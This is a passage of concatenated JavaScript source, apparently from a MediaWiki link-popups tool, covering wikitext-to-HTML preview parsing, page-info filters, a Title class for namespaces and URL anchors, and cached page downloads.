for (let matchPos = ipos; matchPos < l_match[1].length; matchPos++) {
const li = l_match[1].charAt(matchPos);
if (li == '*') {
ps('<ul>');
} else if (li == '#') {
ps('<ol>');
}
// open a new dl only if the prev item is not a dl item (:, ; or empty)
else if ($.inArray(prev.charAt(matchPos), ['', '*', '#'])) {
ps('<dl>');
}
}
switch (l_match[1].charAt(l_match[1].length - 1)) {
case '*':
case '#':
ps('<li>' + parse_inline_nowiki(l_match[2]));
break;
case ';':
ps('<dt>');
var dt_match = l_match[2].match(/(.*?)(:.*?)$/);
// handle ;dt :dd format
if (dt_match) {
ps(parse_inline_nowiki(dt_match[1]));
ll.unshift(dt_match[2]);
} else {
ps(parse_inline_nowiki(l_match[2]));
}
break;
case ':':
ps('<dd>' + parse_inline_nowiki(l_match[2]));
}
prev = l_match[1];
}
// close remaining lists
for (let i = prev.length - 1; i >= 0; i--) {
ps(f('</?>', prev.charAt(i) == '*' ? 'ul' : prev.charAt(i) == '#' ? 'ol' : 'dl'));
}
}
function parse_table() {
endl(f('<table>', compareLineStringOrReg(/^\{\|( .*)$/) ? r[1] : ''));
for (; remain(); ) {
if (compareLineStringOrReg('|')) {
switch (charAtPoint(1)) {
case '}':
endl('</table>');
return;
case '-':
endl(f('<tr>', compareLineStringOrReg(/\|-*(.*)/)[1]));
break;
default:
parse_table_data();
}
} else if (compareLineStringOrReg('!')) {
parse_table_data();
} else {
sh();
}
}
}
function parse_table_data() {
let td_line, match_i;
// 1: "|+", '|' or '+'
// 2: ??
// 3: attributes ??
// TODO: finish commenting this regexp
const td_match = sh().match(/^(\|\+|\||!)((?:([^[|]*?)\|(?!\|))?(.*))$/);
if (td_match[1] == '|+') {
ps('<caption');
} else {
ps('<t' + (td_match[1] == '|' ? 'd' : 'h'));
}
if (typeof td_match[3] != 'undefined') {
//ps(' ' + td_match[3])
match_i = 4;
} else {
match_i = 2;
}
ps('>');
if (td_match[1] != '|+') {
// use || or !! as a cell separator depending on context
// NOTE: when split() is passed a regexp make sure to use non-capturing brackets
td_line = td_match[match_i].split(td_match[1] == '|' ? '||' : /(?:\|\||!!)/);
ps(parse_inline_nowiki(td_line.shift()));
while (td_line.length) {
ll.unshift(td_match[1] + td_line.pop());
}
} else {
ps(parse_inline_nowiki(td_match[match_i]));
}
let tc = 0,
td = [];
while (remain()) {
td.push(sh());
if (compareLineStringOrReg('|')) {
if (!tc) {
break;
}
// we're at the outer-most level (no nested tables), skip to td parse
else if (charAtPoint(1) == '}') {
tc--;
}
} else if (!tc && compareLineStringOrReg('!')) {
break;
} else if (compareLineStringOrReg('{|')) {
tc++;
}
}
if (td.length) {
ps(Insta.convert(td));
}
}
function parse_pre() {
ps('<pre>');
do {
endl(parse_inline_nowiki(ll[0].substring(1)) + '\n');
} while (remain() && compareLineStringOrReg(' '));
ps('</pre>');
}
function parse_block_image() {
ps(parse_image(sh()));
}
function parse_image(str) {
// get what's in between "[[Image:" and "]]"
let tag = str.substring(str.indexOf(':') + 1, str.length - 2);
let width;
let attr = [],
filename,
caption = '';
let thumb = 0,
frame = 0,
center = 0;
let align = '';
if (tag.match(/\|/)) {
// manage nested links
let nesting = 0;
let last_attr;
for (let i = tag.length - 1; i > 0; i--) {
if (tag.charAt(i) == '|' && !nesting) {
last_attr = tag.substr(i + 1);
tag = tag.substring(0, i);
break;
} else {
switch (tag.substr(i - 1, 2)) {
case ']]':
nesting++;
i--;
break;
case '[[':
nesting--;
i--;
}
}
}
attr = tag.split(/\s*\|\s*/);
attr.push(last_attr);
filename = attr.shift();
let w_match;
for (; attr.length; attr.shift()) {
w_match = attr[0].match(/^(\d*)(?:[px]*\d*)?px$/);
if (w_match) {
width = w_match[1];
} else {
switch (attr[0]) {
case 'thumb':
case 'thumbnail':
thumb = true;
frame = true;
break;
case 'frame':
frame = true;
break;
case 'none':
case 'right':
case 'left':
center = false;
align = attr[0];
break;
case 'center':
center = true;
align = 'none';
break;
default:
if (attr.length == 1) {
caption = attr[0];
}
}
}
}
} else {
filename = tag;
}
return '';
}
function parse_inline_nowiki(str) {
let start,
lastend = 0;
let substart = 0,
nestlev = 0,
open,
close,
subloop;
let html = '';
while ((start = str.indexOf('<nowiki>', substart)) != -1) {
html += parse_inline_wiki(str.substring(lastend, start));
start += 8;
substart = start;
subloop = true;
do {
open = str.indexOf('<nowiki>', substart);
close = str.indexOf('</nowiki>', substart);
if (close <= open || open == -1) {
if (close == -1) {
return html + html_entities(str.substr(start));
}
substart = close + 9;
if (nestlev) {
nestlev--;
} else {
lastend = substart;
html += html_entities(str.substring(start, lastend - 9));
subloop = false;
}
} else {
substart = open + 8;
nestlev++;
}
} while (subloop);
}
return html + parse_inline_wiki(str.substr(lastend));
}
function parse_inline_images(str) {
let start,
substart = 0,
nestlev = 0;
let loop, close, open, wiki, html;
while ((start = str.indexOf('[[', substart)) != -1) {
if (
str.substr(start + 2).match(RegExp('^(Image|File|' + Insta.conf.locale.image + '):', 'i'))
) {
loop = true;
substart = start;
do {
substart += 2;
close = str.indexOf(']]', substart);
open = str.indexOf('[[', substart);
if (close <= open || open == -1) {
if (close == -1) {
return str;
}
substart = close;
if (nestlev) {
nestlev--;
} else {
wiki = str.substring(start, close + 2);
html = parse_image(wiki);
str = str.replace(wiki, html);
substart = start + html.length;
loop = false;
}
} else {
substart = open;
nestlev++;
}
} while (loop);
} else {
break;
}
}
return str;
}
// the output of this function doesn't respect the FILO structure of HTML
// but since most browsers can handle it I'll save myself the hassle
function parse_inline_formatting(str) {
let italic,
bold,
i,
li,
o = '';
while ((i = str.indexOf("''", li)) + 1) {
o += str.substring(li, i);
li = i + 2;
if (str.charAt(i + 2) == "'") {
li++;
bold = !bold;
o += bold ? '<b>' : '</b>';
} else {
italic = !italic;
o += italic ? '<i>' : '</i>';
}
}
return o + str.substr(li);
}
function parse_inline_wiki(str) {
str = parse_inline_images(str);
// math
str = str.replace(/<(?:)math>(.*?)<\/math>/gi, '');
// Build a Mediawiki-formatted date string
let date = new Date();
let minutes = date.getUTCMinutes();
if (minutes < 10) {
minutes = '0' + minutes;
}
date = f(
'?:?, ? ? ? (UTC)',
date.getUTCHours(),
minutes,
date.getUTCDate(),
Insta.conf.locale.months[date.getUTCMonth()],
date.getUTCFullYear()
);
// text formatting
str =
str
// signatures
.replace(/~{5}(?!~)/g, date)
.replace(/~{4}(?!~)/g, Insta.conf.user.name + ' ' + date)
.replace(/~{3}(?!~)/g, Insta.conf.user.name)
// [[:Category:...]], [[:Image:...]], etc...
.replace(
RegExp(
'\\[\\[:((?:' +
Insta.conf.locale.category +
'|Image|File|' +
Insta.conf.locale.image +
'|' +
Insta.conf.wiki.interwiki +
'):[^|]*?)\\]\\](\\w*)',
'gi'
),
($0, $1, $2) => f(
"<a href='?'>?</a>",
Insta.conf.paths.articles + htmlescape_attr($1),
htmlescape_text($1) + htmlescape_text($2)
)
)
// remove straight category and interwiki tags
.replace(
RegExp(
'\\[\\[(?:' +
Insta.conf.locale.category +
'|' +
Insta.conf.wiki.interwiki +
'):.*?\\]\\]',
'gi'
),
''
)
// [[:Category:...|Links]], [[:Image:...|Links]], etc...
.replace(
RegExp(
'\\[\\[:((?:' +
Insta.conf.locale.category +
'|Image|File|' +
Insta.conf.locale.image +
'|' +
Insta.conf.wiki.interwiki +
'):.*?)\\|([^\\]]+?)\\]\\](\\w*)',
'gi'
),
($0, $1, $2, $3) => f(
"<a href='?'>?</a>",
Insta.conf.paths.articles + htmlescape_attr($1),
htmlescape_text($2) + htmlescape_text($3)
)
)
// [[/Relative links]]
.replace(/\[\[(\/[^|]*?)\]\]/g, ($0, $1) => f(
"<a href='?'>?</a>",
Insta.conf.baseUrl + htmlescape_attr($1),
htmlescape_text($1)
))
// [[/Replaced|Relative links]]
.replace(/\[\[(\/.*?)\|(.+?)\]\]/g, ($0, $1, $2) => f(
"<a href='?'>?</a>",
Insta.conf.baseUrl + htmlescape_attr($1),
htmlescape_text($2)
))
// [[Common links]]
.replace(/\[\[([^[|]*?)\]\](\w*)/g, ($0, $1, $2) => f(
"<a href='?'>?</a>",
Insta.conf.paths.articles + htmlescape_attr($1),
htmlescape_text($1) + htmlescape_text($2)
))
// [[Replaced|Links]]
.replace(/\[\[([^[]*?)\|([^\]]+?)\]\](\w*)/g, ($0, $1, $2, $3) => f(
"<a href='?'>?</a>",
Insta.conf.paths.articles + htmlescape_attr($1),
htmlescape_text($2) + htmlescape_text($3)
))
// [[Stripped:Namespace|Namespace]]
.replace(/\[\[([^\]]*?:)?(.*?)( *\(.*?\))?\|\]\]/g, ($0, $1, $2, $3) => f(
"<a href='?'>?</a>",
Insta.conf.paths.articles +
htmlescape_attr($1) +
htmlescape_attr($2) +
htmlescape_attr($3),
htmlescape_text($2)
))
// External links
.replace(
/\[(https?|news|ftp|mailto|gopher|irc):(\/*)([^\]]*?) (.*?)\]/g,
($0, $1, $2, $3, $4) => f(
"<a class='external' href='?:?'>?</a>",
htmlescape_attr($1),
htmlescape_attr($2) + htmlescape_attr($3),
htmlescape_text($4)
)
)
.replace(/\[http:\/\/(.*?)\]/g, ($0, $1) => f("<a class='external' href='http://?'>[#]</a>", htmlescape_attr($1)))
.replace(/\[(news|ftp|mailto|gopher|irc):(\/*)(.*?)\]/g, ($0, $1, $2, $3) => f(
"<a class='external' href='?:?'>?:?</a>",
htmlescape_attr($1),
htmlescape_attr($2) + htmlescape_attr($3),
htmlescape_text($1),
htmlescape_text($2) + htmlescape_text($3)
))
.replace(
/(^| )(https?|news|ftp|mailto|gopher|irc):(\/*)([^ $]*[^.,!?;: $])/g,
($0, $1, $2, $3, $4) => f(
"?<a class='external' href='?:?'>?:?</a>",
htmlescape_text($1),
htmlescape_attr($2),
htmlescape_attr($3) + htmlescape_attr($4),
htmlescape_text($2),
htmlescape_text($3) + htmlescape_text($4)
)
)
.replace('__NOTOC__', '')
.replace('__NOINDEX__', '')
.replace('__INDEX__', '')
.replace('__NOEDITSECTION__', '');
return parse_inline_formatting(str);
}
// begin parsing
for (; remain(); ) {
if (compareLineStringOrReg(/^(={1,6})(.*)\1(.*)$/)) {
p = 0;
endl(f('<h?>?</h?>?', r[1].length, parse_inline_nowiki(r[2]), r[1].length, r[3]));
} else if (compareLineStringOrReg(/^[*#:;]/)) {
p = 0;
parse_list();
} else if (compareLineStringOrReg(' ')) {
p = 0;
parse_pre();
} else if (compareLineStringOrReg('{|')) {
p = 0;
parse_table();
} else if (compareLineStringOrReg(/^----+$/)) {
p = 0;
endl('<hr />');
} else if (compareLineStringOrReg(Insta.BLOCK_IMAGE)) {
p = 0;
parse_block_image();
} else {
// handle paragraphs
if (compareLineString('')) {
p = remain() > 1 && ll[1] === '';
if (p) {
endl('<p><br>');
}
} else {
if (!p) {
ps('<p>');
p = 1;
}
ps(parse_inline_nowiki(ll[0]) + ' ');
}
sh();
}
}
return o;
};
function wiki2html(txt, baseurl) {
Insta.conf.baseUrl = baseurl;
return Insta.convert(txt);
}
// ENDFILE: livepreview.js
// STARTFILE: pageinfo.js
function popupFilterPageSize(data) {
return formatBytes(data.length);
}
function popupFilterCountLinks(data) {
const num = countLinks(data);
return String(num) + ' ' + (num != 1 ? popupString('wikiLinks') : popupString('wikiLink'));
}
function popupFilterCountImages(data) {
const num = countImages(data);
return String(num) + ' ' + (num != 1 ? popupString('images') : popupString('image'));
}
function popupFilterCountCategories(data) {
const num = countCategories(data);
return (
String(num) + ' ' + (num != 1 ? popupString('categories') : popupString('category'))
);
}
function popupFilterLastModified(data, download) {
const lastmod = download.lastModified;
const now = new Date();
const age = now - lastmod;
if (lastmod && getValueOf('popupLastModified')) {
return tprintf('%s old', [formatAge(age)]).replace(/ /g, ' ');
}
return '';
}
function popupFilterWikibaseItem(data, download) {
return download.wikibaseItem ?
tprintf('<a href="%s">%s</a>', [
download.wikibaseRepo.replace(/\$1/g, download.wikibaseItem),
download.wikibaseItem,
]) :
'';
}
function formatAge(age) {
// coerce into a number
let a = 0 + age,
aa = a;
const seclen = 1000;
const minlen = 60 * seclen;
const hourlen = 60 * minlen;
const daylen = 24 * hourlen;
const weeklen = 7 * daylen;
const numweeks = (a - (a % weeklen)) / weeklen;
a = a - numweeks * weeklen;
const sweeks = addunit(numweeks, 'week');
const numdays = (a - (a % daylen)) / daylen;
a = a - numdays * daylen;
const sdays = addunit(numdays, 'day');
const numhours = (a - (a % hourlen)) / hourlen;
a = a - numhours * hourlen;
const shours = addunit(numhours, 'hour');
const nummins = (a - (a % minlen)) / minlen;
a = a - nummins * minlen;
const smins = addunit(nummins, 'minute');
const numsecs = (a - (a % seclen)) / seclen;
a = a - numsecs * seclen;
const ssecs = addunit(numsecs, 'second');
if (aa > 4 * weeklen) {
return sweeks;
}
if (aa > weeklen) {
return sweeks + ' ' + sdays;
}
if (aa > daylen) {
return sdays + ' ' + shours;
}
if (aa > 6 * hourlen) {
return shours;
}
if (aa > hourlen) {
return shours + ' ' + smins;
}
if (aa > 10 * minlen) {
return smins;
}
if (aa > minlen) {
return smins + ' ' + ssecs;
}
return ssecs;
}
function addunit(num, str) {
return String(num) + ' ' + (num != 1 ? popupString(str + 's') : popupString(str));
}
function runPopupFilters(list, data, download) {
const ret = [];
for (let i = 0; i < list.length; ++i) {
if (list[i] && typeof list[i] == 'function') {
const s = list[i](data, download, download.owner.article);
if (s) {
ret.push(s);
}
}
}
return ret;
}
function getPageInfo(data, download) {
if (!data || data.length === 0) {
return popupString('Empty page');
}
const popupFilters = getValueOf('popupFilters') || [];
const extraPopupFilters = getValueOf('extraPopupFilters') || [];
const pageInfoArray = runPopupFilters(popupFilters.concat(extraPopupFilters), data, download);
let pageInfo = pageInfoArray.join(', ');
if (pageInfo !== '') {
pageInfo = upcaseFirst(pageInfo);
}
return pageInfo;
}
// this could be improved!
function countLinks(wikiText) {
return wikiText.split('[[').length - 1;
}
// if N = # matches, n = # brackets, then
// String.parenSplit(regex) intersperses the N+1 split elements
// with Nn other elements. So total length is
// L= N+1 + Nn = N(n+1)+1. So N=(L-1)/(n+1).
function countImages(wikiText) {
return (wikiText.parenSplit(pg.re.image).length - 1) / (pg.re.imageBracketCount + 1);
}
function countCategories(wikiText) {
return (wikiText.parenSplit(pg.re.category).length - 1) / (pg.re.categoryBracketCount + 1);
}
function popupFilterStubDetect(data, download, article) {
const counts = stubCount(data, article);
if (counts.real) {
return popupString('stub');
}
if (counts.sect) {
return popupString('section stub');
}
return '';
}
function popupFilterDisambigDetect(data, download, article) {
if (!getValueOf('popupAllDabsStubs') && article.namespace()) {
return '';
}
return isDisambig(data, article) ? popupString('disambig') : '';
}
function formatBytes(num) {
return num > 949 ?
Math.round(num / 100) / 10 + popupString('kB') :
num + ' ' + popupString('bytes');
}
// ENDFILE: pageinfo.js
// STARTFILE: titles.js
/**
* @file Defines the {@link Title} class, and associated crufty functions.
*
* <code>Title</code> deals with article titles and their various
* forms. {@link Stringwrapper} is the parent class of
* <code>Title</code>, which exists simply to make things a little
* neater.
*/
/**
* Creates a new Stringwrapper.
*
* @constructor
*
* @class the Stringwrapper class. This base class is not really
* useful on its own; it just wraps various common string operations.
*/
function Stringwrapper() {
/**
* Wrapper for this.toString().indexOf()
*
* @param {string} x
* @type {number}
*/
this.indexOf = function (x) {
return this.toString().indexOf(x);
};
/**
* Returns this.value.
*
* @type {string}
*/
this.toString = function () {
return this.value;
};
/**
* Wrapper for {@link String#parenSplit} applied to this.toString()
*
* @param {RegExp} x
* @type {Array}
*/
this.parenSplit = function (x) {
return this.toString().parenSplit(x);
};
/**
* Wrapper for this.toString().substring()
*
* @param {string} x
* @param {string} y (optional)
* @type {string}
*/
this.substring = function (x, y) {
if (typeof y == 'undefined') {
return this.toString().substring(x);
}
return this.toString().substring(x, y);
};
/**
* Wrapper for this.toString().split()
*
* @param {string} x
* @type {Array}
*/
this.split = function (x) {
return this.toString().split(x);
};
/**
* Wrapper for this.toString().replace()
*
* @param {string} x
* @param {string} y
* @type {string}
*/
this.replace = function (x, y) {
return this.toString().replace(x, y);
};
}
/**
* Creates a new <code>Title</code>.
*
* @constructor
*
* @class The Title class. Holds article titles and converts them into
* various forms. Also deals with anchors, by which we mean the bits
* of the article URL after a # character, representing locations
* within an article.
*
* @param {string} value The initial value to assign to the
* article. This must be the canonical title (see {@link
* Title#value}. Omit this in the constructor and use another function
* to set the title if this is unavailable.
*/
function Title(val) {
/**
* The canonical article title. This must be in UTF-8 with no
* entities, escaping or nasties. Also, underscores should be
* replaced with spaces.
*
* @type {string}
* @private
*/
this.value = null;
/**
* The canonical form of the anchor. This should be exactly as
* it appears in the URL, i.e. with the .C3.0A bits in.
*
* @type {string}
*/
this.anchor = '';
this.setUtf(val);
}
Title.prototype = new Stringwrapper();
/**
* Returns the canonical representation of the article title, optionally without anchor.
*
* @param {boolean} omitAnchor
* @fixme Decide specs for anchor
* @return String The article title and the anchor.
*/
Title.prototype.toString = function (omitAnchor) {
return this.value + (!omitAnchor && this.anchor ? '#' + this.anchorString() : '');
};
Title.prototype.anchorString = function () {
if (!this.anchor) {
return '';
}
const split = this.anchor.parenSplit(/((?:[.][0-9A-F]{2})+)/);
const len = split.length;
let value;
for (let j = 1; j < len; j += 2) {
// FIXME s/decodeURI/decodeURIComponent/g ?
value = split[j].split('.').join('%');
try {
value = decodeURIComponent(value);
} catch (e) {
// cannot decode
}
split[j] = value.split('_').join(' ');
}
return split.join('');
};
Title.prototype.urlAnchor = function () {
const split = this.anchor.parenSplit('/((?:[%][0-9A-F]{2})+)/');
const len = split.length;
for (let j = 1; j < len; j += 2) {
split[j] = split[j].split('%').join('.');
}
return split.join('');
};
Title.prototype.anchorFromUtf = function (str) {
this.anchor = encodeURIComponent(str.split(' ').join('_'))
.split('%3A')
.join(':')
.split("'")
.join('%27')
.split('%')
.join('.');
};
Title.fromURL = function (h) {
return new Title().fromURL(h);
};
Title.prototype.fromURL = function (h) {
if (typeof h != 'string') {
this.value = null;
return this;
}
// NOTE : playing with decodeURI, encodeURI, escape, unescape,
// we seem to be able to replicate the IE borked encoding
// IE doesn't do this new-fangled utf-8 thing.
// and it's worse than that.
// IE seems to treat the query string differently to the rest of the url
// the query is treated as bona-fide utf8, but the first bit of the url is pissed around with
// we fix up & for all browsers, just in case.
const splitted = h.split('?');
splitted[0] = splitted[0].split('&').join('%26');
h = splitted.join('?');
const contribs = pg.re.contribs.exec(h);
if (contribs) {
if (contribs[1] == 'title=') {
contribs[3] = contribs[3].split('+').join(' ');
}
const u = new Title(contribs[3]);
this.setUtf(
this.decodeNasties(
mw.config.get('wgFormattedNamespaces')[pg.nsUserId] + ':' + u.stripNamespace()
)
);
return this;
}
const email = pg.re.email.exec(h);
if (email) {
this.setUtf(
this.decodeNasties(
mw.config.get('wgFormattedNamespaces')[pg.nsUserId] +
':' +
new Title(email[3]).stripNamespace()
)
);
return this;
}
const backlinks = pg.re.backlinks.exec(h);
if (backlinks) {
this.setUtf(this.decodeNasties(new Title(backlinks[3])));
return this;
}
//A dummy title object for a Special:Diff link.
const specialdiff = pg.re.specialdiff.exec(h);
if (specialdiff) {
this.setUtf(
this.decodeNasties(
new Title(mw.config.get('wgFormattedNamespaces')[pg.nsSpecialId] + ':Diff')
)
);
return this;
}
// no more special cases to check --
// hopefully it's not a disguised user-related or specially treated special page
// Includes references
const m = pg.re.main.exec(h);
if (m === null) {
this.value = null;
} else {
const fromBotInterface = /[?](.+[&])?title=/.test(h);
if (fromBotInterface) {
m[2] = m[2].split('+').join('_');
}
const extracted = m[2] + (m[3] ? '#' + m[3] : '');
if (pg.flag.isSafari && /%25[0-9A-Fa-f]{2}/.test(extracted)) {
// Fix Safari issue
// Safari sometimes encodes % as %25 in UTF-8 encoded strings like %E5%A3 -> %25E5%25A3.
this.setUtf(decodeURIComponent(unescape(extracted)));
} else {
this.setUtf(this.decodeNasties(extracted));
}
}
return this;
};
Title.prototype.decodeNasties = function (txt) {
// myDecodeURI uses decodeExtras, which removes _,
// thus ruining citations previews, which are formated as "cite_note-1"
try {
let ret = decodeURI(this.decodeEscapes(txt));
ret = ret.replace(/[_ ]*$/, '');
return ret;
} catch (e) {
return txt; // cannot decode
}
};
// Decode valid %-encodings, otherwise escape them
Title.prototype.decodeEscapes = function (txt) {
const split = txt.parenSplit(/((?:[%][0-9A-Fa-f]{2})+)/);
const len = split.length;
// No %-encoded items found, so replace the literal %
if (len === 1) {
return split[0].replace(/%(?![0-9a-fA-F][0-9a-fA-F])/g, '%25');
}
for (let i = 1; i < len; i = i + 2) {
split[i] = decodeURIComponent(split[i]);
}
return split.join('');
};
Title.fromAnchor = function (a) {
return new Title().fromAnchor(a);
};
Title.prototype.fromAnchor = function (a) {
if (!a) {
this.value = null;
return this;
}
return this.fromURL(a.href);
};
Title.fromWikiText = function (txt) {
return new Title().fromWikiText(txt);
};
Title.prototype.fromWikiText = function (txt) {
// FIXME - testing needed
txt = myDecodeURI(txt);
this.setUtf(txt);
return this;
};
Title.prototype.hintValue = function () {
if (!this.value) {
return '';
}
return safeDecodeURI(this.value);
};
Title.prototype.toUserName = function (withNs) {
if (this.namespaceId() != pg.nsUserId && this.namespaceId() != pg.nsUsertalkId) {
this.value = null;
return;
}
this.value =
(withNs ? mw.config.get('wgFormattedNamespaces')[pg.nsUserId] + ':' : '') +
this.stripNamespace().split('/')[0];
};
Title.prototype.userName = function (withNs) {
const t = new Title(this.value);
t.toUserName(withNs);
if (t.value) {
return t;
}
return null;
};
Title.prototype.toTalkPage = function () {
// convert article to a talk page, or if we can't, return null
// In other words: return null if this ALREADY IS a talk page
// and return the corresponding talk page otherwise
//
// Per https://www.mediawiki.org/wiki/Manual:Namespace#Subject_and_talk_namespaces
// * All discussion namespaces have odd-integer indices
// * The discussion namespace index for a specific namespace with index n is n + 1
if (this.value === null) {
return null;
}
const namespaceId = this.namespaceId();
if (namespaceId >= 0 && namespaceId % 2 === 0) {
//non-special and subject namespace
const localizedNamespace = mw.config.get('wgFormattedNamespaces')[namespaceId + 1];
if (typeof localizedNamespace !== 'undefined') {
if (localizedNamespace === '') {
this.value = this.stripNamespace();
} else {
this.value = localizedNamespace.split(' ').join('_') + ':' + this.stripNamespace();
}
return this.value;
}
}
this.value = null;
return null;
};
// Return canonical, localized namespace
Title.prototype.namespace = function () {
return mw.config.get('wgFormattedNamespaces')[this.namespaceId()];
};
Title.prototype.namespaceId = function () {
const n = this.value.indexOf(':');
if (n < 0) {
return 0;
} //mainspace
const namespaceId =
mw.config.get('wgNamespaceIds')[
this.value.substring(0, n).split(' ').join('_').toLowerCase()
];
if (typeof namespaceId == 'undefined') {
return 0;
} //mainspace
return namespaceId;
};
Title.prototype.talkPage = function () {
const t = new Title(this.value);
t.toTalkPage();
if (t.value) {
return t;
}
return null;
};
Title.prototype.isTalkPage = function () {
if (this.talkPage() === null) {
return true;
}
return false;
};
Title.prototype.toArticleFromTalkPage = function () {
//largely copy/paste from toTalkPage above.
if (this.value === null) {
return null;
}
const namespaceId = this.namespaceId();
if (namespaceId >= 0 && namespaceId % 2 == 1) {
//non-special and talk namespace
const localizedNamespace = mw.config.get('wgFormattedNamespaces')[namespaceId - 1];
if (typeof localizedNamespace !== 'undefined') {
if (localizedNamespace === '') {
this.value = this.stripNamespace();
} else {
this.value = localizedNamespace.split(' ').join('_') + ':' + this.stripNamespace();
}
return this.value;
}
}
this.value = null;
return null;
};
Title.prototype.articleFromTalkPage = function () {
const t = new Title(this.value);
t.toArticleFromTalkPage();
if (t.value) {
return t;
}
return null;
};
Title.prototype.articleFromTalkOrArticle = function () {
const t = new Title(this.value);
if (t.toArticleFromTalkPage()) {
return t;
}
return this;
};
Title.prototype.isIpUser = function () {
return pg.re.ipUser.test(this.userName());
};
Title.prototype.stripNamespace = function () {
// returns a string, not a Title
const n = this.value.indexOf(':');
if (n < 0) {
return this.value;
}
const namespaceId = this.namespaceId();
if (namespaceId === pg.nsMainspaceId) {
return this.value;
}
return this.value.substring(n + 1);
};
Title.prototype.setUtf = function (value) {
if (!value) {
this.value = '';
return;
}
const anch = value.indexOf('#');
if (anch < 0) {
this.value = value.split('_').join(' ');
this.anchor = '';
return;
}
this.value = value.substring(0, anch).split('_').join(' ');
this.anchor = value.substring(anch + 1);
this.ns = null; // wait until namespace() is called
};
Title.prototype.setUrl = function (urlfrag) {
const anch = urlfrag.indexOf('#');
this.value = safeDecodeURI(urlfrag.substring(0, anch));
this.anchor = this.value.substring(anch + 1);
};
Title.prototype.append = function (x) {
this.setUtf(this.value + x);
};
Title.prototype.urlString = function (x) {
if (!x) {
x = {};
}
let v = this.toString(true);
if (!x.omitAnchor && this.anchor) {
v += '#' + this.urlAnchor();
}
if (!x.keepSpaces) {
v = v.split(' ').join('_');
}
return encodeURI(v).split('&').join('%26').split('?').join('%3F').split('+').join('%2B');
};
Title.prototype.removeAnchor = function () {
return new Title(this.toString(true));
};
Title.prototype.toUrl = function () {
return pg.wiki.titlebase + this.urlString();
};
function parseParams(url) {
const specialDiff = pg.re.specialdiff.exec(url);
if (specialDiff) {
const split = specialDiff[1].split('/');
if (split.length == 1) {
return { oldid: split[0], diff: 'prev' };
} else if (split.length == 2) {
return { oldid: split[0], diff: split[1] };
}
}
const ret = {};
if (url.indexOf('?') == -1) {
return ret;
}
url = url.split('#')[0];
const s = url.split('?').slice(1).join();
const t = s.split('&');
for (let i = 0; i < t.length; ++i) {
const z = t[i].split('=');
z.push(null);
ret[z[0]] = z[1];
}
//Diff revision with no oldid is interpreted as a diff to the previous revision by MediaWiki
if (ret.diff && typeof ret.oldid === 'undefined') {
ret.oldid = 'prev';
}
//Documentation seems to say something different, but oldid can also accept prev/next, and
//Echo is emitting such URLs. Simple fixup during parameter decoding:
if (ret.oldid && (ret.oldid === 'prev' || ret.oldid === 'next' || ret.oldid === 'cur')) {
const helper = ret.diff;
ret.diff = ret.oldid;
ret.oldid = helper;
}
return ret;
}
// (a) myDecodeURI (first standard decodeURI, then pg.re.urlNoPopup)
// (b) change spaces to underscores
// (c) encodeURI (just the straight one, no pg.re.urlNoPopup)
function myDecodeURI(str) {
let ret;
// FIXME decodeURIComponent??
try {
ret = decodeURI(str.toString());
} catch (summat) {
return str;
}
for (let i = 0; i < pg.misc.decodeExtras.length; ++i) {
const from = pg.misc.decodeExtras[i].from;
const to = pg.misc.decodeExtras[i].to;
ret = ret.split(from).join(to);
}
return ret;
}
function safeDecodeURI(str) {
const ret = myDecodeURI(str);
return ret || str;
}
///////////
// TESTS //
///////////
function isDisambig(data, article) {
if (!getValueOf('popupAllDabsStubs') && article.namespace()) {
return false;
}
return !article.isTalkPage() && pg.re.disambig.test(data);
}
function stubCount(data, article) {
if (!getValueOf('popupAllDabsStubs') && article.namespace()) {
return false;
}
let sectStub = 0;
let realStub = 0;
if (pg.re.stub.test(data)) {
const s = data.parenSplit(pg.re.stub);
for (let i = 1; i < s.length; i = i + 2) {
if (s[i]) {
++sectStub;
} else {
++realStub;
}
}
}
return { real: realStub, sect: sectStub };
}
function isValidImageName(str) {
// extend as needed...
return str.indexOf('{') == -1;
}
function isInStrippableNamespace(article) {
// Does the namespace allow subpages
// Note, would be better if we had access to wgNamespacesWithSubpages
return article.namespaceId() !== 0;
}
function isInMainNamespace(article) {
return article.namespaceId() === 0;
}
function anchorContainsImage(a) {
// iterate over children of anchor a
// see if any are images
if (a === null) {
return false;
}
const kids = a.childNodes;
for (let i = 0; i < kids.length; ++i) {
if (kids[i].nodeName == 'IMG') {
return true;
}
}
return false;
}
function isPopupLink(a) {
// NB for performance reasons, TOC links generally return true
// they should be stripped out later
if (!markNopopupSpanLinks.done) {
markNopopupSpanLinks();
}
if (a.inNopopupSpan) {
return false;
}
// FIXME is this faster inline?
if (a.onmousedown || a.getAttribute('nopopup')) {
return false;
}
const h = a.href;
if (h === document.location.href + '#') {
return false;
}
if (!pg.re.basenames.test(h)) {
return false;
}
if (!pg.re.urlNoPopup.test(h)) {
return true;
}
return (
(pg.re.email.test(h) ||
pg.re.contribs.test(h) ||
pg.re.backlinks.test(h) ||
pg.re.specialdiff.test(h)) &&
h.indexOf('&limit=') == -1
);
}
function markNopopupSpanLinks() {
if (!getValueOf('popupOnlyArticleLinks')) {
fixVectorMenuPopups();
}
const s = $('.nopopups').toArray();
for (let i = 0; i < s.length; ++i) {
const as = s[i].getElementsByTagName('a');
for (let j = 0; j < as.length; ++j) {
as[j].inNopopupSpan = true;
}
}
markNopopupSpanLinks.done = true;
}
function fixVectorMenuPopups() {
$('nav.vector-menu h3:first a:first').prop('inNopopupSpan', true);
}
// ENDFILE: titles.js
// STARTFILE: getpage.js
//////////////////////////////////////////////////
// Wiki-specific downloading
//
// Schematic for a getWiki call
//
// getPageWithCaching
// |
// false | true
// getPage<-[findPictureInCache]->-onComplete(a fake download)
// \.
// (async)->addPageToCache(download)->-onComplete(download)
// check cache to see if page exists
function getPageWithCaching(url, onComplete, owner) {
log('getPageWithCaching, url=' + url);
const i = findInPageCache(url);
let d;
if (i > -1) {
d = fakeDownload(
url,
owner.idNumber,
onComplete,
pg.cache.pages[i].data,
pg.cache.pages[i].lastModified,
owner
);
} else {
d = getPage(url, onComplete, owner);
if (d && owner && owner.addDownload) {
owner.addDownload(d);
d.owner = owner;
}
}
}
function getPage(url, onComplete, owner) {
log('getPage');
const callback = function (d) {
if (!d.aborted) {
addPageToCache(d);
onComplete(d);
}
};
return startDownload(url, owner.idNumber, callback);
}
function findInPageCache(url) {
for (let i = 0; i < pg.cache.pages.length; ++i) {
if (url == pg.cache.pages[i].url) {
return i;
}
}
return -1;
}
function addPageToCache(download) {
log('addPageToCache ' + download.url);
const page = {
url: download.url,
data: download.data,
lastModified: download.lastModified,
};
return pg.cache.pages.push(page);
}
// ENDFILE: getpage.js
// STARTFILE: parensplit.js
